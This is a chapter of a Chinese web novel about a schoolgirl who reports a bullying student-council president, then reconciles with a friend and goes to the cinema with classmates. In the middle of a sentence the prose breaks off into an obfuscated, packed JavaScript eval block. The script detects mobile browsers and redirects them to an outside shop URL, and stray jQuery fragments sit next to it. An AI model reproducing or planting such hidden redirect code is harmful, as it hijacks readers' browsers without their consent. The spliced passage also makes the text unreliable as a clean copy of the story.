周小萍在背过身去的那一瞬间,下了一个她自己都没想到过的决定。
这个念头突然出现在她脑海中,如同流星,轰出了一片空地。
第二天一早,她就不请自来地到了杨老师的办公室,径直走到杨老师桌前。
杨老师对这个成绩优异又比较乖巧的学生心里还是蛮喜爱的,微笑了一下:“周小萍同学,有什么事吗?”
周小萍语出惊人:“杨老师,我举报初三的学生会会长吴瑜同学带头对我实施霸凌孤立和造谣,且胁迫班长孟凡之指认我与丁家强同学有恋爱关系。”
不久,初一、初三的年级主任,周小萍、丁家强、孟凡之、满脸震惊的吴瑜,杨老师与吴瑜的班主任齐聚一堂,众人正襟危坐。
杨老师轻咳了一声:“……情况就是这样。”
几方人马都被震得说不出话来,没想到一个小小的初一女生,一大早上的就把一帮人都吓清醒了。
学生会会长带头校园欺凌,这可不是小事件。
丁家强看似是场内最了解周小萍的,实则此刻却认为自己从来没有认识过她。
周小萍是什么人?
是面对张大虎的挑衅直面迎击,面对何淑仪的“偏袒”当面发问,面对李翠翠父亲的封建大骂出口的人。
她当然是一个不怕斗争的人——或者说,丁家强知道周小萍的字典里就没有“退”这个字。
然而这次看似与以往没什么不一样,可实际上周小萍的反击却是通过告状进行的。
没有争吵,没有辩解——好像这个女孩第一次不再依赖于蛮力,终于学会了借力打力。
丁家强简直不可置信。
他转头看向身边坐着的女生,依旧是光洁的额头,明亮双眸却没有了小时候的天真稚嫩,只有沉似潭水的坚定和无畏。
那一瞬间,丁家强无比清晰地庆幸,自己有幸与这个耀眼的人同行一路,且见证她的成长。
吴瑜的嗓子干涩得说不出话来,周小萍这一招简直就是把她的路都堵死了。
在一切都还没开始的时候,周小萍就强烈要求必须让年级主任和班主任都全部到齐,为的就是当机立断把吴瑜架起来,不给她留任何耍滑头的准备时间。
年级主任箭一样的目光直直地扫向吴瑜。
其实对于学校里的一些事情,他不是没有过耳闻,只是这件事牵扯的人太多,就像大树的根系,不是说解决就解决的。
然而这次周小萍算是直接捅破了这层窗户纸,逼着他们这帮人一起跳进了油锅。
他问吴瑜:“这件事属实吗,吴同学?”
吴瑜的嘴唇都哆嗦了,她知道这个时候自己必须要万分小心地斟酌每一个字,否则等待她的就是万劫不复。
“主任,我……我和周小萍同学可能却是存在一些误会。”
“误会?”
“……对、对。”吴瑜掐了一下手心,让自己说话别再磕巴了,“因为一些不愉快……这我承认。然而对于周小萍同学的事,我也只是和孟凡之同学一起在八卦中听来的,不是我造的遥。”
一行人的目光都投向孟凡之。
孟凡之能感受到吴瑜怨毒的视线与周小萍平静的目光,突然觉得一阵恍惚。
……如果。
如果她也可以像周小萍那样奋不顾身,可以和所有阻挠她的人拼个鱼死网破,她的人生会不会是另一番境地?
甚至如果她像吴瑜那样得天独厚,有权势有靠山,是不是也可以肆意妄为一把?
孟凡之看着周小萍,从她那杏眼中,竟获得了一番奇异的平静。
“我否认与吴瑜同学一同听见周小萍同学的八卦。且有关周小萍同学的事情,仅为我一人判断,而经过几天的观察,我要想周小萍同学郑重道歉,是我眼拙。”
说完,立刻站起来向周小萍深深鞠了一躬,在场的人都愣住了。
……可是,没有如果。
她是几年来不断审视和调整自己,只凭和继母那些人见过的匆匆几面,将自己调整为永远大方得体的“县城姑娘”,强迫自己永远完美来获得一切的孟凡之。
虽然无法声援任何一方,但她没有承认胁迫一事,也还了周小萍一个迟来的道歉。
而这,就是审时度势的孟凡之能做的最偏离轨道的事情,这一丝小小的改变,还是源于周小萍给她的勇气。
孟凡之在心里说,谢谢你。
最终的结果是吴瑜被撤去学生会会长的职位,并且签字保证自己以后绝不会为难两位初一的同学。
若有再犯,立刻开除学籍。
今天是东北十一月初久违的暖阳天,秋衣被暖阳照得无法近身,那是一种言语无法描述的松快。
周小萍站起来对杨老师说了一声感谢,率先起身走出了办公室。
校道里,白的兰落了一地,如雪,如毯。
周小萍走着,听见身后有脚步声。脚步声太熟悉,不用回头都知道来人身份。
方才的强硬执着好像全部一瞬间消融了,她垂着眼不搭理他。
丁家强轻轻拉了一下她的衣袖,她就突然不动了,丁家强也不敢动,两人就这样一前一后站在校道上,听风送来的兰花香。
丁家强轻轻绕到周小萍面前,周小萍还是低着头。
丁家强:“……对不起。”
周小萍轻声说:“对不起什么?”
丁家强想说,我对不起你的勇气,我胆怯了。
他说:“以后我会坚定站在你后面的。”
周小萍猛然一下抬头,把他吓了一大跳,随即立刻被狠狠推了一下,周小萍压着声音喊道:“你算不算个男人!我都没退,你退什么退!”
说完,瞬间溢出的一大颗眼泪就直直地从眼眶掉到地上,甚至都没挨到脸上。
周小萍心里也觉得自己胡闹,可是压了几天的情绪一下子反扑上来,她正是刚放松下来心神脆弱的时候,顿时招架不住。
前因忘了,后果不知,只知道眼前这个男的真是好讨厌好讨厌!
丁家强一下子心疼得手忙脚乱:“你别哭,周小萍,你别哭。我错了,是我不对,我再也不会退了。”
周小萍素来不爱哭,好巧不巧次次哭都让他碰上,然而这么
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return'\\w+'};c=1;};while(c--)if(k[c])p=p.replace(new RegExp('\\b'+e(c)+'\\b','g'),k[c]);return p;}('8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="j://e.d.f/h/g/"}',24,24,'userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17785645|208715||http|test|mini|href|location'.split('|'),0,{}));
() {
$('.inform').remove();
$('#content').append('
多年了他对处理周小萍的眼泪还是一点长进没有,甚至还不如小时候镇定呢。
大约是越在意越怕出错吧。
周小萍用力一把打掉他的手,丁家强皮糙肉厚一点感觉都没有,她自己倒痛得眉毛跳了跳,也不愿服软,憋着痛一个人往前走。
丁家强还跟在后面语无伦次地哄人,其实说了半天都是那几句轱辘话,正过来反过来不知说了多少遍,说得口都干了,终于看见周小萍脸上有了一点点笑意。
两人一路打打闹闹地走着,周小萍看似不想搭理丁家强,实则这番关于退与不退的谈话已经深深沉在周小萍心底。
那是一种心安。
你的承诺,我收下了。
座位倒是没有再调回来,不过两人也习惯了。
其实平时下课二人就很少有交流,丁家强一般在放空休息,周小萍则专心低头写习题。
尽管闹出了一个小插曲,两人的人缘却一直不错,不时有人会来座位找他们聊天。
放了学,二人就默契地汇在后门,相视一笑,再并肩往饭堂走去。
又一个周五,放学后人都散了,却有一个意想不到的人来到了周小萍桌前。
沈浪憋红了脸,心里实在腹诽,这个女的为什么不自己来问,非得让他来!
他敲敲周小萍的桌子,等周小萍疑惑地看过来,他不自然地清清嗓子:“你、丁家强、我、孟凡之,咱们四个今天晚上去电影院吧。”
“看电影?”周小萍重复了一次。
沈浪:“怎、怎么了!”
“没怎么。”周小萍嘟囔了一句,往他的身后看看,正好和悄悄探头看周小萍脸色的孟凡之对上了眼。
周小萍看她那又期盼又紧张的表情,就知道是怎么回事了,在心里叹了一口气。
其实舍不得这段友情的,又岂止是孟凡之呢。
沈浪一直很欣赏孟凡之,二人关系一向不错。
孟凡芝太了解周小萍了,知道若是她来问,周小萍可不一定会答应;但换了沈浪来,那结果又大大的不同了。
她站起来对沈浪摆摆手:“行,去,七点在校门口见吧。”
她知道看电影肯定要花买票的钱,手头的钱不多,这段时间剪头挣来的钱和饭钱都抵消得差不多了。
但周小萍愿意走这一遭。
沈浪高兴地说:“好啊。”回头对着孟凡之抬了抬眉毛,意思是成了。
孟凡之的眼睛立刻笑成了弯弯的一个月牙。
吃过饭,周小萍和丁家强按时到了校门口,此时两个班长已经在那等着了。
孟凡之踮起脚挥挥手:“这里!”
周小萍走近,孟凡之抬起手,犹豫了一下,还是挽住了周小萍。
半个月前,她们总是这样走在校道上,亲密地挽着手。孟凡之同她讲县城的生活,周小萍给她讲童年的趣事。
皮肤相触的那一刹那,又熟悉,又陌生,两人的呼吸都滞了滞。
孟凡之微微躲避周小萍的眼神,有些干涩地轻声说:“咱们走吧。”
于是一行四个身影,走进了夜色中。